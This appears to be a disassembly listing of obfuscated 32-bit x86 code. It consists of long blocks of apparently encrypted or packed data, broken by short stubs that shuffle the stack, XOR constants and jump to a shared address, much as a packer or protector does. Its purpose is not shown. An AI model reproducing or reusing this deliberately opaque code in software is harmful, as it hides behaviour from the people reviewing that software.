dd 80000001h, 4B6785F0h, 1208E1FFh, 0CF5B5F75h, 710BC856h
dd 0C35CECAAh, 39710BC8h, 0EC80C752h, 79C481CBh, 0CAEB826Fh
dd 0A7751886h, 2CC3A602h, 0B657C18Bh, 0DA8FD9DEh, 43640B5Eh
dd 769A9A09h, 3054593Ch, 6A29E9F3h, 65E693h, 1110000h
dd 91B98F6Ch, 770EF0F8h, 0AE0A9144h, 41797701h, 0E811E687h
dd 0F0D33C0Ch, 8249770Eh, 4B7001E4h, 1B4D7604h, 729AF24Eh
dd 770EF0D9h, 894B884h, 86407E7Eh, 0EF029A2h, 0B637DB77h
dd 0F90B3D6h, 6B4714E6h, 4F25B002h, 0F3D03911h, 534C770Dh
dd 16D41DFDh, 0BA2EB5E3h, 678C69FCh, 6D9489h, 0F02F0000h
dd 0F1FA9F85h, 0FA9FF297h, 67F297F1h, 1415FF4Bh, 5C0B7512h
dd 29CEA10Ch, 0BE3FD6BBh, 0CC16062Eh, 9D51710Bh, 935E3149h
dd 86EBA09Ah, 0BD8D25F3h, 710BC324h, 6266CD98h, 2BC3A45h
dd 5CD2426h, 9DCF9A6Fh, 30585D30h, 0FDECCBADh, 0A7BB06DCh
dd 0E87517E2h, 38EBFD06h, 8566D004h, 8EF97BAFh, 0D0F25610h
dd 2E74FF57h, 0F0AED5BBh, 0BA4B6785h, 19572DD2h, 8FA0F31h
dd 582D6D75h, 821B0DB6h, 0FE7104D1h, 61CC9C6Bh, 0BD7B698Eh
dd 0D1AE2703h, 0BD5E7104h, 0F24E1D34h, 95F7F89Fh, 4EDAEE4Dh
dd 0C2162A7Bh, 2C0AE588h, 4B4995DEh, 7CC18712h, 0E9741499h
dd 0E3E8E005h
dd 32C59DC1h, 0A34ADF8Dh, 39CC4A02h, 5035575Ch, 11C1D4h
dd 0D4B90000h, 0BC29A344h, 6C0143C0h, 67626A8Fh, 2AD6CD89h
dd 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h, 0D90F801h
dd 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h, 388268h
dd 243C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push edi
mov edi, 60A1F96h
mov ebp, edi
mov edi, [esp]
add esp, 4
push esp
mov esi, [esp]
add esp, 4
push ebp
xor dword ptr [esp], 13612BC2h
pop dword ptr [esi+8]
push edx
mov edx, 8
add edx, esi
xor dword ptr [edx], 13612BC2h
pop edx
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5439D9
; ---------------------------------------------------------------------------
dd 0B8708B33h, 60A241Ch, 0E0FFC503h, 214069Fh, 65BD3187h
dd 12AB7917h, 75FF0618h, 240ADB5Ah, 40A47077h, 4CE5F0CEh
dd 3A1504EBh, 0B5E95F95h, 0FD000004h, 66CB991Eh, 95786C95h
dd 7EAFE03h, 0B71A4E6Fh, 398BD9E2h, 22C7A8FEh, 0B637DBAEh
dd 4AD4FD2h, 951AFD40h, 40E8AEF7h, 7104CCC7h, 2AE08335h
dd 472AA243h, 0F65B09B2h, 63CE9E1Fh, 9C616B8Ch, 2B92FAFFh
dd 0E689C115h, 5C3E83C1h, 0E6873157h, 7D10EC15h, 0EF721A9Fh
dd 0F9E2EA0Bh, 0AA2307C1h, 68770EF0h, 466DA31Ch, 0A33669E4h
dd 59AA2307h, 4316770Eh, 0F58DD1E5h, 7BCE8227h, 0D1791394h
dd 770E5933h, 51347F5h, 996CBAFFh, 54F8h, 5E017B00h, 624BCF6Eh
dd 5E33899Dh, 8E5636B7h, 770E7B13h, 0E1F71B19h, 996CDBDBh
dd 194h, 492A2700h, 0B84528A0h, 25DF5933h, 0EF08C05h, 0D7D8BC77h
dd 9603A3FCh, 506A262h, 0C7AFC2BEh, 41FFA626h, 33B8451Dh
dd 8025C85Dh, 4C7507E6h, 9FF3491Ch, 0BC452AE4h, 0FB4412Ch
dd 944CA073h, 0CCB9B32Dh, 84C18B2Ch, 782B4339h, 10F590C4h
dd 74117B7Ch, 0FF0495F8h, 0BC5E2FE9h, 2BC85537h, 3483C686h
dd 0BD42D5B8h, 0D8B0462Bh, 0E6CD770h, 0AC4E2577h, 0B5004507h
dd 31EFBE2Eh, 64C47EEDh, 770E6CEBh, 52E8A51h, 996CC80Fh
dd 60E8h, 452A0B00h, 0AF412CBCh, 1FDB420Ah, 4903A84Eh
dd 4DC6621Ch, 0B3770EF0h, 20744824h, 0FA98896Eh, 723897F1h
dd 8646F3BEh, 77339E65h, 73F46DBDh, 9D48770Eh, 19FE4327h
dd 8115F890h, 9BCDF684h, 0B86963CEh, 4C405084h, 2B996CCFh
dd 28h, 0BC452A54h, 0EB3412Ch, 0E62AE65Eh, 0A226CBACh
dd 0A0492A31h, 0F0820028h, 9084770Eh, 5250544Ch, 10F996Dh
dd 0A8000000h, 2DBF442Ah, 0CCF59A6Bh, 1E73C99Ch, 6D167677h
dd 0BF600357h, 0F246D627h, 2ABF3533h, 9E29BF44h, 6DBDF5F3h
dd 7511F663h, 946104BEh, 20687D6Fh, 710BD5A7h, 0CBEA4615h
dd 0ED83621Ch, 0CFF481C4h, 0E1B41971h, 522588DCh, 0DA7D3BADh
dd 0BEDD5AF4h, 735BD120h, 710B15D8h, 482EBF79h, 0C0BC29A3h
dd 0FF96A8FCh, 7007EAFEh, 0DDB01D4Fh, 2113B0D8h, 2DD2A5FDh
dd 777074BFh, 436F9369h, 88000001h, 4B6785F0h, 1208E1FFh
dd 0C0885F75h, 77159A7Dh, 535424C9h, 5639AC39h, 0DFB6DB51h
dd 4C238EDEh, 0C86221ABh, 39535825h, 0B8ECD0ACh, 565B38CDh
dd 5D119936h, 0A1EF0A70h, 640B5EDAh, 0DEE60D43h, 999369E9h
dd 75h, 4A2D3CDFh, 0AD1F0A56h, 86F05CD7h, 0BA8E4866h, 770EF021h
dd 9AAEC89Fh, 770EF101h, 520CE87Fh, 0D14ADE98h, 2F770EF0h
dd 0A3EC3CB8h, 99770EF0h, 656C7E21h, 0DF54948Dh, 0E2054CDh
dd 0EE13E477h, 3DA8EBFEh, 75EE3656h, 68770E20h, 0EA940054h
dd 30586132h, 0AD020455h, 7CAE7F63h, 871D991h, 74770E88h
dd 0A216C9E1h, 27DA0FD6h, 92771B91h, 86h, 6785F021h, 3A69884Bh
dd 6AB243FAh, 8E78D08Eh, 8C7511CBh, 4B228FD9h, 0BC5326AAh
dd 84C740E8h, 0A635710Bh, 7969B1DBh, 0EE710B85h, 0D2D7A548h
dd 6D512FBAh, 698E6139h, 2703BD7Bh, 710B84AEh, 5EE94712h
dd 5AA4D33h, 0FFBB0643h, 5A96C2Bh, 7711C46Fh, 0AA4F2CC1h
dd 0D3D4BBCEh, 0AEF232B9h, 0A0492EBFh, 20A84D2Dh, 1560CFA5h
dd 904FDB97h, 0E074FFCDh, 0CBA83D75h, 33DBA626h, 208FDAB2h
dd 4D2BD0ADh, 4701BA39h, 0EF06AE3h, 0A503D677h, 0E6896F1Ah
dd 0EC3C7AC1h, 7509152Dh, 82345403h, 0CCE760C8h, 0F82B7104h
dd 0E533B93Fh, 522EBD94h, 3157583Fh, 0A424C9ACh, 6BE08F9Ch
dd 1B4FE547h, 450BAC43h, 0F0981DF0h, 4A64896Dh, 845C3D89h
dd 328E92E3h, 0CF13115Ah, 89DFE0B7h, 0C3545124h, 0AC3BAE3Eh
dd 68C07A3Ch, 177962EFh, 3F229E4Dh, 8, 0A0450346h, 0D44F25CEh
dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h
dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 42CF680Bh
dd 4890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push ebp
mov ebp, 5A5E78BAh
mov edx, 5C545C6Dh
xor edx, ebp
mov ebp, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
push edx
xor dword ptr [esp], 4AA875BBh
pop dword ptr [edi+8]
push edx
mov edx, 8
add edx, edi
xor dword ptr [edx], 4AA875BBh
pop edx
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
db 9Ah
dd 1C2B3264h, 71D24058h, 0A28EDB8h, 0FFC50306h, 0F76810E0h
dd 0C24E2700h, 1E4B054Dh, 70B9911Fh, 48216D0Eh, 62533345h
dd 0D1E6144Ch, 0BE41B44Bh, 0D070A54Dh, 8C060E0Dh, 0D2CB685Eh
dd 0EE89F876h, 191B3A67h, 0DD63C40Dh, 9B7D787Fh, 2C45E454h
dd 0C2AFCA1Bh, 15B7E071h, 0AC8B5210h, 990CE36Dh, 898D8D0Fh
dd 31060A2Ah, 30079BDh, 0C51AB806h, 8D89179Ch, 60331D1h
dd 2D3D9509h, 85C70603h, 60301E1h, 6030h, 8E9h, 1BB87000h
dd 0F4451808h, 0BD85C72Fh, 60321h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 2D0BC350h, 71578E3Ch, 82443E9Ah, 0D3B70F60h, 308D858Bh
dd 0FF610603h, 322F9B5h, 21E7BF06h, 95FF7494h, 6032691h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7EC35343h
dd 6A4244h, 1FB995FFh, 0C08B0603h, 55AB18EBh, 5A4D421Ch
dd 1E336F8Ah, 0DB770D70h, 0CFE12627h, 980036CDh, 4EBA8FFh
dd 3ECC6B12h, 56AE9h, 0F7F89B00h, 4A6F0C91h, 0D4DDB306h
dd 0A4492DB0h, 37BC5D20h, 7624D351h, 0E17418A1h, 15F8EC11h
dd 9B6E6287h, 0C49DF3F4h, 0C6ED66C2h, 0A1537104h, 0A2432AC2h
dd 0BC946104h, 0EF0F36Ch, 37824977h, 0D4B43055h, 4D03A849h
dd 0B05A15F8h, 0A72008A2h, 15770E96h, 60DB3146h, 6AF7917Ch
dd 1CF49A83h, 0ED5930Ch, 9762E977h, 430590F5h, 0DA941DFEh
dd 0D58F0820h, 7EED770Eh, 7723EA82h, 0FB3EAAA4h, 0C3B9CE12h
dd 0FC93ABFFh, 720095FBh, 0E4B61B49h, 50208DDFh, 0BE503DAFh
dd 398429CDh, 872CC2AFh, 7BAF97C5h, 0E5252DBh, 4F1DA674h
dd 9A3317D1h, 0E6770E43h, 8AC2E38Bh, 791D70DFh, 0FB711474h
dd 0EEFEFF96h, 0E43C846h, 11967A77h, 0FD02EA77h, 81D5E9EBh
dd 62B66A31h, 68E14903h, 0D4770E43h, 7AC4201h, 9FA40045h
dd 996CA585h, 0F2AB4F1Eh, 0B309941Dh, 65A9h, 432ACA00h
dd 87022AA2h, 85770EF0h, 4F554397h, 8996D52h, 1, 0E34701ABh
dd 770EF06Ah, 0C0A503D6h, 1DF08E33h, 92FA767Bh, 3456E0Fh
dd 0B7D1D6BEh, 54EE320Eh, 0CA8422C7h, 0EF0E57Eh, 308C5B77h
dd 6D03E25Ch, 0F285E844h, 0E5E6335h, 0F027A088h, 0C695770Eh
dd 3EF8EC7Bh, 0F02BA484h, 0CA91770Eh, 6C01F56Eh, 0E78A668Bh
dd 12FFE912h, 0CFF08081h, 0F4856860h, 62309DCFh, 0AA860F59h
dd 958FD466h, 43680941h, 8B14627h, 0A275D8ACh, 10E64B1Dh
dd 8620E1EBh, 0A4B03BD5h, 0FE892ED3h, 0F338910h, 5FD7DDDBh
dd 8390996Ch, 23000000h, 2CBC452Ah, 6C0AAF41h, 0A3F4F999h
dd 2D607401h, 4028846Ch, 54375BD9h, 0B1DBE0B1h, 643558D4h
dd 0B042235Fh, 76A1C1h, 6AF15DBAh, 93606762h, 40FE926Eh
dd 3029A286h, 0C097770Eh, 4B700164h, 0D7D8BC01h, 0A54BF89Bh
dd 16ACFB5Ch, 0ED53F29Ah, 0F4B5BFB9h, 3EB2996Ch, 0CD000000h
dd 2C76452Ah, 999E7D1Dh, 0CA8227C9h, 0DA5309Fh, 5E5EF753h
dd 37A2770Eh, 0AE4CD1B9h, 37EB4305h, 3DC6ABE3h, 492A34AFh
dd 820028A0h, 84770EF0h, 50544C90h, 0F996D52h, 1, 0BF442AA8h
dd 8AD402Dh, 0F5191B40h, 0C3B3C596h, 5978233Eh, 0DFD58F1h
dd 0AA31A477h, 2CD5BBCEh, 0D770D892h, 25770DFDh, 19563AB6h
dd 1236706Eh, 75110CE8h, 6E78356h, 9BF3496Eh, 0A5E5F36h
dd 932FD0A7h, 87DC26C0h, 6E28BB9h, 6943DE66h, 1FF1710Bh
dd 896FF29Ah, 79BB6860h, 3FF3E555h, 79578EBh, 1FFEAE2h
dd 6064896Ch, 690DFA9Dh, 0FA410444h, 47680F92h, 40D9712Bh
dd 0BC710B69h, 0D1BC41D1h, 0AC90335Bh, 0AE4F2678h, 0CAF3093Ah
dd 24EC9369h, 0F000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h
dd 5D159A7Dh, 14C76FBAh, 0EB869F2Dh, 0F7EC781Bh, 0B8CCA837h
dd 5BD42D5h, 626A8F60h, 2AFB94B4h, 9A41710Bh, 74D9B10Fh
dd 0DF4C1CA1h, 96793165h, 0ACB07311h, 0F793698Bh, 6E7E7F16h
dd 309FFD7Bh, 18000000h, 486686F0h, 0EF097E0h, 0B6D68577h
dd 0C0CD5F00h, 0C0D869ACh, 9DCB4464h, 0A292770Eh, 1494FE7Eh
dd 9D85CE5Ah, 6CFB770Eh, 0A5E578h, 0F0180000h, 0FF4B6785h
dd 75121415h, 71225C0Bh, 7B1D60F4h, 0F8906C01h, 22C79D3Eh
dd 0FDCC7A22h, 0FE50AEEh, 69C1937Ah, 710BA9F0h, 6F94614Ch
dd 369D687Dh, 8728CF52h, 72731AEBh, 5E4E96F6h, 9C710BAAh
dd 4B700DFEh, 7401ECFCh, 675F1D4Fh, 5FD98333h, 0AA0C85A5h
dd 0E570710Bh, 84E72B0Fh, 0D1A1F0D3h, 63D967BEh, 0D8BE670Eh
dd 670044D3h, 48E09E1Ch, 6F05ED23h, 0C99CDA81h, 81C48429h
dd 17FE432Bh, 0B78DF696h, 0A286F163h, 28DB47D6h, 0BAF44345h
dd 0FF4F496Eh, 0E688E774h, 3B37BCDDh, 773DDC50h, 0F0FFE4E8h
dd 0FB94B485h, 41770EF0h, 0CCE1EB50h, 10FFB04Ch, 185DED85h
dd 0F375089Ch, 0AF781139h, 11C47104h, 4E5BA9Bh, 0C7B16530h
dd 36C841E9h, 0A1347104h, 9B1D4FDAh, 977B28CAh, 84137616h
dd 462B81C4h, 0B6700EAFh, 436F992h, 8F082071h, 0ED710436h
dd 34B0277Eh, 4F2ACD50h, 46518850h, 0F7BF2BC5h, 2A5E6B0Ch
dd 3EC6866Dh, 68C2A4BBh, 34545939h, 0A721C6A9h, 4FCF13CFh
dd 9ADC003Ch, 0B9EF2F3h, 0A4094364h, 0A243D7D0h, 8B1472Ah
dd 0CDB6D6BDh, 83C4CA8Dh, 75FB94B4h, 9A413842h, 0D5DE92C5h
dd 7F375B5Fh, 3848DD98h, 2DA29A29h, 0D8BF0246h, 53AB2404h
dd 4A113842h, 53831C2Ch, 12F93842h, 0B253C587h, 4459D7DCh
dd 3, 2A8003FFh, 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h
dd 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h
dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 6768240Ch
dd 8900001Bh, 9368243Ch, 89000006h, 0BA52240Ch, 7E912B6Eh
dd 9B561FBFh, 8BD72984h, 0C4832414h, 0C8B5404h, 4C48124h
dd 53000000h, 20A0BE56h, 0F681499Ch, 499C20A8h, 15EF389h
dd 5B3B89CBh, 592434FFh, 4C481h, 3C8B0000h, 0E7895724h
dd 4C781h, 0C7830000h, 243C8704h, 4D4BE95Ch, 0B8CCFFF9h
dd 60A2FA0h, 0E0FFC503h, 61CCC918h, 580744C5h, 7721CEA6h
dd 596DAEC5h, 3208CCA4h, 72994BEEh, 2E7F1152h, 69D6DE31h
dd 30B10B27h, 4D07622Ch, 23CC8FB2h, 18FFEF1h, 59C33559h
dd 0C94EF4Bh, 5D8394AEh, 6DC3B330h, 5A671BD2h, 36C5EE81h
dd 35FCBAA6h, 63FEF299h, 54D89FFBh, 0BE7F04EBh, 0C1E941ACh
dd 0A9000005h, 0D2A725CAh, 41D4B841h, 0F3460AAFh, 63F69A1Bh
dd 8D67658Eh, 4E730452h, 0C2E3B71Ah, 50593B8Eh, 21C6A93Ch
dd 0B49412A3h, 7104C11Bh, 1FD9DF61h, 4C0920Bh, 0FD7BEE71h
dd 0E3470106h, 770EF06Ah, 0C0A503D6h, 2DEE882Dh, 2CCCFAADh
dd 795895E9h, 52835E63h, 2DD6A72Ah, 0C5AA3757h, 32C5A83Ch
dd 885DDB8Dh, 65C3E4h, 5F2E486Dh, 8429CDBEh, 523A81C4h
dd 4CD1B937h, 0DB420AAFh, 7EC97C1Fh, 20717A18h, 2884972Dh
dd 0EBA5C014h, 0E60C65Fh, 0D1AF3A77h, 0B0D4D9BCh, 0C1524F2Dh
dd 0AE355038h, 3CC5573Ah, 8C31C1ACh, 499D97DCh, 0A5E6331h
dd 0BD2FD0A7h, 0E60F795h, 41660977h, 0D4D5BA07h, 0B92CBC41h
dd 3DF3BAD2h, 39BE51E9h, 0AF3AAFh, 9649B566h, 0C00C9958h
dd 68C4E98Dh, 80650054h, 1EB5CAEFh, 35F96B2Fh, 374D76F2h
dd 30996C63h, 61h, 0A2432A43h, 0F087022Ah, 9785770Eh
dd 524F5543h, 108996Dh, 0AB000000h, 6A0492Ah, 7D6F9067h
dd 23FC4EA2h, 8C1BD3D0h, 28F55830h, 9064C983h, 0FC907D6Fh
dd 3456E03h, 2791FB46h, 0E228A03h, 6C63F677h, 7D66668Bh
dd 8A31347h, 0CDAEE034h, 3ADDA024h, 8469D7B5h, 0F49BCEF3h
dd 70CC99F3h, 6F452AF3h, 0F0FC95B5h, 9540770Eh, 0EF11AB3h
dd 64F36677h, 3FD3B264h, 3DBB2EBEh, 10F5CBA8h, 0B62F7982h
dd 0A770EF0h, 0B98F05Fh, 0F5FA9273h, 0F43CB3A4h, 8F65EF46h
dd 4A2F67ABh, 0B75E23A1h, 0C3852ACEh, 0B80BF186h, 5E951766h
dd 651F99F3h, 0E684CC5h, 4F25B077h, 3DAF543Ah, 0AE3EC350h
dd 0C3852EC3h, 0E88DC40h, 0F695B967h, 0FC788117h, 6CC3BDB7h
dd 0BEBA99h, 5F000000h, 5CECF594h, 770EEAC3h, 0BA0D5239h
dd 0FC77CDB6h, 2CBC452Ah, 4CC0AF41h, 0A912DCBh, 941D4FDAh
dd 0FB3D31E2h, 0DF76BC54h, 8AC2E788h, 95D61DFh, 0BE3A071h
dd 0A2781139h, 11C4770Eh, 3887C28Ah, 791BEA54h, 78C7E888h
dd 0FC9CBF10h, 0E04BCFFDh, 25CA9F15h, 8D61CC9Ch, 9A16068h
dd 84A39264h, 1442ED8Eh, 23CB9E65h, 219FCA82h, 0E5EFC91Dh
dd 82996D3Ch, 5Bh, 0E347013Dh, 770EF06Ah, 547E03D6h, 0C56CB565h
dd 831479F7h, 0F1836E7Eh, 0F42880C8h, 0E009EEA0h, 0D80D15C6h
dd 67FE449Ch, 4F66FF4Bh, 0FDA770Eh, 0A963DDB1h, 0E500881h
dd 8D2B7477h, 1F09F409h, 0F46FC550h, 28A0492Ah, 0EF08200h
dd 4C908477h, 6D525054h, 10F99h, 1A80000h, 0F06AE347h
dd 3D6770Eh, 562EC0A5h, 8AC2E3B7h, 0F054CDDFh, 17E4770Eh
dd 3CDCB392h, 7412CBBh, 0BAD2D3BAh, 97AFF331h, 486D0001h
dd 0EAFE4500h, 7A34B2DDh, 11FFA4AEh, 2DA7D75h, 97B06F31h
dd 5A9B71F1h, 0BDE5FA05h, 0A50A91Ch, 0C7BD9A0Ah, 8C117BEEh
dd 1680C4E9h, 97971A45h, 0D9FE10D5h, 4AF07D91h, 0E68B61CFh
dd 56FEEE0Fh, 710B3ABBh, 117CA05Ch, 0CFB2E24Eh, 0BF35F8FEh
dd 4A2432Ah, 916F9461h, 608568FDh, 38DFAE68h, 0C15439B7h
dd 11E3823Ch, 0AF7C0CE8h, 0A3422175h, 2BBE2ECFh, 9E22BB8Fh
dd 0CB9E710Bh, 7075186Dh, 0FFCDD71Ch, 37D69369h, 4D3A5F60h
dd 235236BEh, 4B1D7FF5h, 9E000001h, 4B6785F0h, 1208E1FFh
dd 0C0885F75h, 138C9C56h, 0E710BC9h, 0BC8A13Ah, 49481F71h
dd 0AC432682h, 38DB450Bh, 89EE537Dh, 2144205Eh, 523FA94Eh
dd 0CF523ABBh, 0A7264E2Dh, 0DDD09E83h, 0E48B1676h, 0E2C289C3h
dd 0CD771CBEh, 892EC199h, 61428DBh, 4DD3936Ah, 6C000000h
dd 486686F0h, 0BC2CD1A5h, 35155329h, 770EF0CCh, 0CA8D25B0h
dd 0EF15CDACh, 5434B0EBh, 0E8D138Ch, 0A6EACA77h, 0C7544C36h
dd 9A3FAA22h, 0C7878B5Ah, 6901EC04h, 0DF878C1h, 3971E477h
dd 403CC154h, 0AC292Ch, 0FC910000h, 991A961Bh, 4B6785F0h
dd 0DA73D791h, 26770EF0h, 0BA53F7B3h, 6770EF0h, 0BF5D553h
dd 71751214h, 0CBCC6639h, 1C98EB5Dh, 0B6D930Ch, 9762E971h
dd 988568F5h, 0B5D07F6h, 0B3FB78CCh, 0A60B5924h, 0D6902ECFh
dd 0B0CD972h, 34B02771h, 0D9C8C54h, 6DCB710Bh, 0CFE97B3h
dd 5D42710Bh, 1476CB0Bh, 54D0BF1Bh, 937A3C60h, 46317E12h
dd 9B7F0EA8h, 0F0E861C9h, 8154710Bh, 0B937523Ah, 20B82BFFh
dd 76176F06h, 184D1FA4h, 98D6859Ch, 248025F5h, 9116F944h
dd 6CB08CF7h, 4B6785F0h, 0FFF06CFFh, 4A22C374h, 63F6CFA5h
dd 85F0766Dh, 6CFF4B67h, 0A4750920h, 42F53AFBh, 48A6DE6h
dd 7304D371h, 5A213E9Ah, 27C8AF32h, 0B439DCA1h, 6FE840FAh
dd 0CD7104E7h, 22CAA21Eh, 2DA36067h, 1F577BB9h, 8C117778h
dd 3984C4E9h, 0B3385055h, 82152D71h, 0CDA0457Dh, 4F25A028h
dd 3EBF563Bh, 0AB3AEh, 3C20000h, 28CDA045h, 0D44F25A0h
dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h
dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 0E789570Bh
dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 378C68h, 24148900h
dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 8368241Ch
dd 8B060A30h, 0C4812414h, 4, 241C8B54h, 6804C483h, 3A19h
dd 0B8240489h, 8, 1089D801h, 241C8B58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
db 30h
dd 0A35BDB8h, 0FFC50306h, 0D436F8E0h, 0A102230Ch, 0FCAD6F1Ah
dd 69143264h, 763BB45Dh, 221ECB74h, 95F24871h, 7ED2C301h
dd 151BB978h, 0B2468243h, 0F9106F49h, 2D5D7B5Bh, 28D01A59h
dd 4C96D157h, 38313D32h, 0E9D00000h, 0CBA09946h, 3E98D09h
dd 0BA77B764h, 203DC34Eh, 1B7CDE51h, 611E0D7Ah, 0C4C5850Ah
dd 2518B025h, 0FE5C1519h, 0AA326A4Eh, 29FBCC19h, 0BCB8A530h
dd 0A404EB76h, 0E919D1E2h, 525h, 0FAEE0FE2h, 6F7D8617h
dd 99CFF49Ah, 95F6034h, 0BA2ED3A4h, 0B8590DC8h, 28C85D33h
dd 9E7CC187h, 0BE27715h, 0DBDFE6EAh, 4BAD64Fh, 0D99A2A71h
dd 2AA2432Ah, 2DE7AB6Ch, 7FAE348Eh, 0E60BEC81h, 77781FE2h
dd 0C0E58815h, 0F4540E88h, 770E8B5Bh, 2BBE3AA1h, 7E27A14Ah
dd 0B12AFEB8h, 0F770E8Bh, 0B4D8DC58h, 5E6334D9h, 88DD5B0Eh
dd 0AB5438E5h, 3DA820C9h, 3085CB56h, 82219362h, 0E01CC980h
dd 0EA885D15h, 563A87C1h, 0C7523751h, 0E2B00569h, 4E228FD9h
dd 2B43FA9h, 88648D63h, 4C2E60B4h, 0B95C21A7h, 0E8C5434h
dd 18770EE1h, 0C295F024h, 8AB34C3Eh, 22DC1BC1h, 9C40DB05h
dd 5F6B6031h, 0C567A68Ch, 3940446Fh, 7A3F996Dh, 0B8000000h
dd 2D505E01h, 0F3B56831h, 787D1075h, 91F5A610h, 3113F027h
dd 0A14A2BBEh, 0E6C6A227h, 770E046Bh, 492F73A1h, 996C6633h
dd 0F992B670h, 20770E10h, 0E108F08h, 277EED77h, 62634B0h
dd 94000000h, 1D9B20F1h, 0A0492AA6h, 94B46E28h, 770EF0FBh
dd 698E6241h, 0B2432682h, 0F3AE7109h, 7DB1B072h, 3EE13E0h
dd 9478C5A5h, 11FC05EBh, 2E72CE77h, 6E628714h, 9DF3F49Bh
dd 0BC452AE6h, 0FB4412Ch, 0F891B973h, 44770EF0h, 0D0731B91h
dd 9166386Ch, 0FE916468h, 4429EFF9h, 0D7730FB0h, 770EF03Eh
dd 3459D782h, 9E0F5962h, 727A7EA2h, 0D996D4Ch, 7Eh, 8E6C01AEh
dd 8A666365h, 0D1E912E7h, 18A17617h, 9A331570h, 0E6770EF0h
dd 7AC1EA8Bh, 6D03EEFEh, 4A2CD9BCh, 0D7A227A1h, 0DABD0048h
dd 0F0A92206h, 4017770Eh, 690E93F5h, 6A4A0840h, 5FD59426h
dd 159E730Bh, 0E40DE277h, 0C15332E4h, 4529BC38h, 0BB7928A0h
dd 4C8B8197h, 3B64996Dh, 97000000h, 6A8F6C01h, 0E4896762h
dd 13FEEE13h, 98107881h, 997E3064h, 0EB5B86DAh, 6AF1EDFAh
dd 492A7D66h, 820028A0h, 84770EF0h, 73741BEAh, 9B9DC1F5h
dd 996D5281h, 17Eh, 442AF900h, 9A6B2DBFh, 1376F2F3h, 9C3F7B7Ch
dd 0C6A8B639h, 993EAB3Dh, 3AB6A415h, 0C70B2952h, 8CC0E98Fh
dd 5C1A98E3h, 0C740E8A2h, 35770E91h, 0A85123A6h, 0FFCFA520h
dd 7511A0D5h, 61CC9C4Bh, 967B698Eh, 28EEFEFFh, 0A241DA6Eh
dd 28BF710Bh, 0A2E17C4Ch, 0CA06710Bh, 7C29CC86h, 0EC8A119Ah
dd 0C5A38E2Bh, 0F9EDB237h, 5D620ABDh, 75F35E0Bh, 0C4E98C11h
dd 51563984h, 2A77419h, 0AB481F4Ah, 41C2AA06h, 20F78FD3h
dd 223AC99Fh, 0DD9369DCh, 144h, 0ACCDF89Bh, 0E4EF4DDEh
dd 85F08B08h, 290148ADh, 65F0F677h, 1FDFFD4Dh, 8E5D7511h
dd 1B9C73DEh, 100DE075h, 0B56FB17Ch, 25CA8202h, 0E4B7F35Eh
dd 132D5BC4h, 63315402h, 278AE25Eh, 0B46D6550h, 0C7C764BCh
dd 81B31078h, 4D72055Dh, 0FD0D41Fh, 688F936Ah, 0ED000000h
dd 0D9D5A32Ah, 0B42D871h, 0E0B12471h, 3F98BF2h, 6686F080h
dd 0F097E048h, 2E85770Eh, 0A025A74Ch, 0F26BB3D5h, 0ED770EF0h
dd 6394E8ABh, 63FBDF5h, 0D24296AAh, 9F6E08A8h, 0A97F1FAh
dd 5C094368h, 0F891B9F1h, 44770E07h, 0CD5D1B91h, 770E0784h
dd 872CCE9Fh, 0D2480C5h, 9F8C3694h, 4CDB84B0h, 86C518h
dd 1780000h, 8967886Ch, 1D55533Eh, 881A963h, 74770EF1h
dd 0F02EA7E1h, 0C792770Eh, 311B2F69h, 2F751214h, 5D0FB040h
dd 462BBD08h, 0F75A0EAFh, 25CD9F20h, 710BCC35h, 102A7EB2h
dd 0AA14787Dh, 0D622ABE9h, 916F97C4h, 255D5B26h, 59FD505h
dd 1F564B6Fh, 0E2886CB3h, 352DCCE9h, 67F29469h, 8966FF4Bh
dd 0FDA7705h, 0B24528A0h, 1C105B0Dh, 83216CC8h, 0BC1343E7h
dd 0DE8D74FFh, 0F6520C8Ah, 710B9F5Dh, 3BB834A3h, 4B6785F0h
dd 922AFFFh, 0BCFA6175h, 0B5584529h, 0A60D5830h, 8C1EA326h
dd 0CCC6EDB3h, 967B13E9h, 7EAFEFFh, 0F51D4F70h, 85AFFC0Eh
dd 0B8F2261Ah, 29BCD0D5h, 4F09A146h, 3D0F62FBh, 0AD0BDE5Dh
dd 4EB85BDDh, 0D7C2DF40h, 3D73BEA3h, 8A22329Ch, 3D1725BEh
